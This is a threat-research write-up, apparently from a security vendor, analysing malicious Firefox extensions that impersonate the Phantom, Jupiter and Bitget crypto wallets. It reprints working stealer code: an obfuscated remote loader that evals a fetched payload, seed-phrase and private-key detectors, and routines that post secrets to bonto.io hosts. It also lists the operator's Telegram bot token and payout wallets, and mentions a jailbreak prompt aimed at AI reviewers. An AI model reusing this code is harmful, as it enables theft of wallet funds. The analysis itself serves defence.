Malicious Firefox Extensions Impersonate Phantom, Jupiter, and Bitget to Steal Wallet Secrets
Malicious Firefox extensions mimic Phantom, Jupiter, and Bitget wallets to steal recovery phrases and private keys, with one fetching its payload remotely.
- Kush Pandya

Socket’s Threat Research Team identified a cluster of malicious Firefox extensions that impersonate well-known crypto wallets and steal recovery phrases and private keys. The extensions use Unicode homoglyphs to copy the names of Phantom, Jupiter, and Bitget, and they route stolen secrets to brand-named subdomains of a single command-and-control apex, bonto[.]io. Each signed package carries a complete, always-on stealer, so the malicious code is present in what Mozilla reviewed. The Phantom impersonator adds a second layer: a loader that pulls a stealer from a server at runtime and runs it in the page, letting the operator swap or refresh the payload after review. All three listings were live on Firefox Add-ons during analysis and have been removed as of publication.
The campaign breaks down as follows:
- Phantom impersonator (add-on ID 3092199): a small loader inside the signed extension fetches a second-stage stealer from
phantom[.]bonto[.]io/configand runs it in the main world of every page the victim opens, and also bundles a stealer and the operator’s drainer backend. - Jupiter and Bitget impersonators (IDs 3092666 and 3092059): the stealer is bundled in the package and routes stolen secrets to
jupiter[.]bonto[.]ioandbitget[.]bonto[.]io. - Shared infrastructure: at least five brand-named subdomains of bonto[.]io are provisioned as exfiltration hosts, including
coinbase[.]bonto[.]ioandexodus[.]bonto[.]io, each listing published from its own throwaway AMO (Addons.Mozilla.Org) developer account.
What the Extensions Pretend to Be
Each listing impersonates a real wallet. The Phantom listing sets its public display name to the string 𝐏ha𝐧†օ𝗺, built from Unicode homoglyphs that render on the page as “Phantom,” and reuses Phantom’s real ghost icon and marketing copy, including the heading “OFFICIAL PHANTOM WALLET (Firefox Update).” The Jupiter listing renders as “Jupiter” and claims to be “Built by Jupiter Exchange.” The Bitget extension’s manifest name is “TabFlow Pro,” while its listing presents Bitget Wallet branding to users.
These are among the most widely used crypto wallets, which is the reputation the campaign trades on. The impersonation is cross-ecosystem: the real Phantom shows 5,000,000 users on the Chrome Web Store and roughly 83,000 daily users on Firefox Add-ons, and these fakes ride that brand recognition.

The Phantom impersonator renders as “Phantom by Phantom” with the genuine ghost icon, and its rating was inflated to 3.9 across 546 reviews at the time of writing.
The extensions request the permissions the theft needs, and the listings declare no data collection. The Phantom impersonator requests access to browser tabs and to data for all websites, and its Permissions and data panel states that the developer says the extension does not require data collection. The developer supplied no privacy policy.

The listing requests access to data for all websites while declaring that it does not require data collection.
How the Theft Works
A Loader That Fetches a Second Stage
The signed Phantom package carries a benign-looking wallet bundle plus a loader appended to background/serviceWorker.js. The loader rebuilds its C2 host from a character-code array, requests a configuration object, decodes a base64 payload, and runs it as code inside the page. It injects into the main world first, which gives it access to page objects such as the wallet’s own injected provider, and falls back to the isolated content-script world. It re-injects on every tab load and on install and startup.
// loads optional analytics module on first run
(function(){
var _c=[112,104,97,110,116,111,109,46,98,111,110,116,111,46,105,111].map(function(n){return String.fromCharCode(n);}).join('');
var _cfg='https://'+_c+'/config';
var _sk='_px';
async function _inj(tabId,src){
// try MAIN world first (works on http/https dapp tabs, gives us window access)
// fall back to ISOLATED (works on moz-extension:// own pages, still reads DOM/inputs)
try{
await browser.scripting.executeScript({
target:{tabId:tabId},
func:function(c){(0,eval)(c);},
args:[src],
world:'MAIN'
});
return;
}catch(e){}
try{
await browser.scripting.executeScript({
target:{tabId:tabId},
func:function(c){(0,eval)(c);},
args:[src]
});
}catch(e){}
}
async function _init(){
try{
var r=await fetch(_cfg,{cache:'no-store'});
var cfg=await r.json();
if(!cfg.active||!cfg.code)return;
var src=atob(cfg.code);
await browser.storage.local.set({[_sk]:src});
var tabs=await browser.tabs.query({});
for(var i=0;i<tabs.length;i++){
var tab=tabs[i];
if(!tab.id||tab.id<0)continue;
await _inj(tab.id,src);
}
}catch(e){}
}
browser.tabs.onUpdated.addListener(async function(tabId,info){
if(info.status!=='complete')return;
try{
var data=await browser.storage.local.get(_sk);
if(!data[_sk])return;
await _inj(tabId,data[_sk]);
}catch(e){}
});
browser.runtime.onInstalled.addListener(function(){setTimeout(_init,2000);});
browser.runtime.onStartup.addListener(function(){setTimeout(_init,2000);});
setTimeout(_init,2000);
})();The character-code array decodes to phantom[.]bonto[.]io, and the comment claiming the code loads an analytics module is the threat actor’s own disguise.

The Server Decides When and What to Steal
The configuration endpoint returns a JSON object with an active flag and a base64 code field. Because the payload is delivered at runtime, the operator controls both whether the stealer runs and what it does, with no new submission to Mozilla. The endpoint can return an inert response during review and the live stealer afterward. At the time of writing, phantom[.]bonto[.]io/config returned active: true and a 4,029-byte payload.
The returned stage is a recovery-phrase and private-key stealer. It classifies captured strings, detecting BIP-39 seed-phrase word counts (12, 15, 18, or 24 words) and both Ethereum (EVM) and Solana private-key formats.
function _isSeedWords(arr){
return (arr.length===12||arr.length===15||arr.length===18||arr.length===24)&&arr.every(function(w){return/^[a-z]{3,8}$/.test(w);});
}
function _isKey(s){
if(typeof s!=='string')return false;
return/^(0x)?[0-9a-fA-F]{64}$/.test(s.trim())||/^[1-9A-HJ-NP-Za-km-z]{87,88}$/.test(s.trim());
}It captures secrets through several paths: reading every input and textarea value, listening for paste and focusout events, and scanning page text for a numbered recovery-phrase grid of the kind shown on a wallet’s reveal-secret-phrase screen.
var re=/\b\d{1,2}[\.\):\s]\s*([a-z]{3,8})\b/gi;Because it runs in the main world, it also hooks the page’s injected Solana provider to capture the connected public key.
var _ps=window.phantom&&window.phantom.solana;
if(_ps&&_ps.connect){
var _oc=_ps.connect.bind(_ps);
_ps.connect=function(o){
return _oc(o).then(function(r){
try{_post({type:'input',data:{solana_pubkey:r&&r.publicKey&&r.publicKey.toString()}});}catch(e){}
return r;
});
};
}Captured data is posted as JSON to the C2 host, with an XMLHttpRequest fallback and a simple set to avoid sending the same value twice.
function _post(data){
var k=JSON.stringify(data);
if(_sent[k])return;
_sent[k]=1;
try{fetch(_ep,{method:'POST',headers:{'Content-Type':'application/json'},body:k,keepalive:true}).catch(function(){});}
catch(e){try{var x=new XMLHttpRequest();x.open('POST',_ep,true);x.setRequestHeader('Content-Type','application/json');x.send(k);}catch(e2){}}
}
The Bundled Variant
The Jupiter and Bitget impersonators do not use a remote loader. Their stealers are bundled in the package and post the captured mnemonic straight to the brand subdomain. The Jupiter impersonator sends the phrase on its “standalone” and “mnemonic” code paths.
case"standalone":case"mnemonic":{fetch("https://jupiter.bonto.io",{method:'POST',headers:{"Content-Type":"application/json"}The Jupiter impersonator also declares host access to Trezor Connect at connect.trezor.io, which widens the surface it can read. The Bitget impersonator references bitget[.]bonto[.]io in its static/js/hook.js and follows the same bundled pattern.
The Stealer Also Ships In-Package, and Phantom Bundles the Operator's Backend
All three packages ship a complete, always-on stealer inside the signed code Mozilla reviewed, each rated 10 out of 10 by Socket's scanner. Phantom's is analytics.js, wired into its own popup and onboarding pages. Jupiter ships two: a 621 kB trojanized background.js that sends the mnemonic and private key to jupiter[.]bonto[.]io on wallet import, and a smaller hook.js that captures seed phrases and keys from page inputs and the clipboard on any page. Bitget also ships two: static/js/hook.js, which scans page content and extension messages, and static/js/bg-init.js, a background worker that hooks the wallet's own storage to lift the seed as it is decrypted and overrides tab creation to funnel the victim into the local import screen. Both route to bitget[.]bonto[.]io. The remote loader described earlier is Phantom-only, and it gates and refreshes a payload that already ships in the package rather than being the only copy.
Phantom also bundles the operator's own drainer backend as server.js, a Node.js server inside the signed add-on. It logs captured secrets to local files, forwards them to a Telegram bot, and automatically sweeps funds to hardcoded payout addresses across Ethereum, BSC, Polygon, Arbitrum, Optimism, Base, Avalanche, Solana, and Bitcoin. A comment in the file notes the payload reaches the extension only "after approval flip," meaning after Mozilla's review.
The package also ships server-review.js, a stripped server that returns an inactive config during Mozilla's review. After approval the operator switches to the live server.js, the "approval flip" the comment refers to.
const TG_TOKEN = '8834114695:AAGC99--r8KFikBpDw5JCkAteIc4cRi2VTU';
const TG_CHAT = '-5433023573';
const DEST = {
evm: '0x93ce11fAA9FC83741e8b392879b383bcc5f7f3Ad',
sol: 'GCo8tAh5WjAuH51bnRZtkmKDRuoXHFDNz9MZY25Zuvsr',
btc: 'bc1qrsfyjrsel924nny9q0qak5cfyf7pahmsydwnrq',
};Infrastructure and Attribution
All exfiltration points to subdomains of a single apex, bonto[.]io, fronted by Cloudflare so the origin is hidden. The Phantom host behaves as a second-stage delivery and exfiltration point, while the other brand hosts accept exfiltration POSTs directly. Probing the apex for additional brand subdomains returned provisioned hosts for coinbase[.]bonto[.]io and exodus[.]bonto[.]io, each responding with the same signature as the confirmed Jupiter and Bitget exfiltration hosts, which indicates the campaign also targets the Coinbase Wallet and Exodus brands. Corresponding AMO listings for those two brands were not located at the time of writing.
Each of the three confirmed listings was published from a separate throwaway AMO developer account (anonymous-30b17a249a34fdf5d2be64b3dfcc8494, anonymous-3efb89873d4c425c012cd1cb1736629a, and anonymous-ca2bf8b1ba371a1426c1049d9dad8168), a pattern that spreads the campaign across accounts and slows bulk takedown.
The Phantom and Jupiter packages also ship a CLAUDE.md file the extension never loads at runtime. It is an AI-assistant jailbreak prompt, which points to AI-assisted malware authoring and an attempt to subvert AI-assisted review.
Impact
When a victim installs one of these extensions and enters or reveals a recovery phrase, or pastes a private key, the secret is sent to the threat actor. A recovery phrase and a private key are bearer secrets: whoever holds them controls the wallet and can move every asset in it. The main-world injection means the Phantom variant can read secrets both when they are typed during import and when they are shown on a reveal-secret-phrase screen, and it can observe the page’s wallet provider directly.
The Phantom listing shows active rating manipulation. Over roughly two days the review count rose from 275 to 546 and the average rating rose from 2.9 to 3.9, which pushes down the one-star reviews in which users report losing funds. Reported losses in those reviews are self-reported and unverified. Average daily users reported by AMO for each listing were low, between one and three, but the listings were live and the infrastructure was active.

Socket’s AI Scanner flagging the Phantom impersonator as known malware.
Recommendations
For Users
- Install wallet extensions only from the vendor’s official website link, not from store search results. Homoglyph names and copied icons make a fake listing look identical to the real one.
- Treat any extension that asks for a recovery phrase or private key outside the real wallet flow as hostile, and never enter a seed phrase into a page you reached from a store listing.
- If you entered a seed phrase or private key into one of these extensions, move funds to a new wallet created on a clean device immediately and treat the old wallet as compromised.
For Developers
- Pin the exact extension IDs your team uses and review extensions that request access to data for all websites together with tabs or scripting.
- Watch for extensions that fetch and execute code at runtime, which is visible as a
fetchof a configuration endpoint followed byevalorscripting.executeScript.
For Security Teams
- Block the bonto[.]io apex and its subdomains at the network layer and alert on DNS lookups for brand-named subdomains under it.
- Hunt for browser extensions whose signed bundle contains a loader that injects into the main world.
Socket’s browser extension protection analyzes extension bundles for hidden data flows, undisclosed credential exfiltration, and C2 backdoors, blocking malicious extensions before they reach user endpoints.
MITRE ATT&CK
- T1036 Masquerading
- T1176 Browser Extensions
- T1105 Ingress Tool Transfer
- T1620 Reflective Code Loading
- T1140 Deobfuscate/Decode Files or Information
- T1027 Obfuscated Files or Information
- T1555 Credentials from Password Stores
- T1041 Exfiltration Over C2 Channel
- T1657 Financial Theft
Indicators of Compromise
Threat Actor
- AMO developer account: anonymous-30b17a249a34fdf5d2be64b3dfcc8494 (user id 20229996), Phantom impersonator
- AMO developer account: anonymous-3efb89873d4c425c012cd1cb1736629a (user id 20231205), Jupiter impersonator
- AMO developer account: anonymous-ca2bf8b1ba371a1426c1049d9dad8168 (user id 20229610), Bitget impersonator
Network Indicators
bonto[.]iophantom[.]bonto[.]iojupiter[.]bonto[.]iobitget[.]bonto[.]iocoinbase[.]bonto[.]ioexodus[.]bonto[.]io104[.]21[.]34[.]69172[.]67[.]155[.]198
C2 Endpoints
https://phantom[.]bonto[.]io/confighttps://phantom[.]bonto[.]io/https://jupiter[.]bonto[.]io/https://bitget[.]bonto[.]io/
Hardcoded Wallet Addresses
- EVM (ETH, BSC, Polygon, Arbitrum, Optimism, Base, Avalanche):
0x93ce11fAA9FC83741e8b392879b383bcc5f7f3Ad - Solana:
GCo8tAh5WjAuH51bnRZtkmKDRuoXHFDNz9MZY25Zuvsr - Bitcoin:
bc1qrsfyjrsel924nny9q0qak5cfyf7pahmsydwnrq
Telegram Exfiltration
- Bot token:
8834114695:AAGC99--r8KFikBpDw5JCkAteIc4cRi2VTU - Chat ID:
-5433023573
Extension Identifiers (Firefox AMO)
- Phantom impersonator: add-on id 3092199, slug ha-օ, gecko id a8f3k2m9x1fefb7q4n6p0r5t@j2w8c4fefy6v1d3z9, version 25.6.0
- Jupiter impersonator: add-on id 3092666, slug j-ρi, gecko id {48392751-9302-4817-5621-703829164830}, version 1.19.2
- Bitget impersonator (internal name TabFlow Pro): add-on id 3092059, slug ві-е, gecko id {c31e7a95-2f64-4b18-a0d3-6e92f5c7481b}, version 2.21.8
File Hashes (SHA-256)
- Phantom impersonator XPI (ha-25.6.0.xpi): 311c49974f28d33947b8b74d78b48f51855eacac182d519a4fe1daa6af7f30e9
- Phantom second-stage payload (served by phantom[.]bonto[.]io/config, 2026-10-21): 999bccd41188a238a50d05b5aca8e35af45d107f32d7443389313816f0cb226a
- Jupiter impersonator XPI (j_i-1.19.2.xpi): fd7b138f4fba003db332a4eee833e84491bf7ffec5a3d91f7451d7b95aabcf6a
- Bitget impersonator XPI (3092059-2.21.8.xpi): e688bff5df32f209b4ebb882985e3ad19ddee68666405c39ff523307068a8611




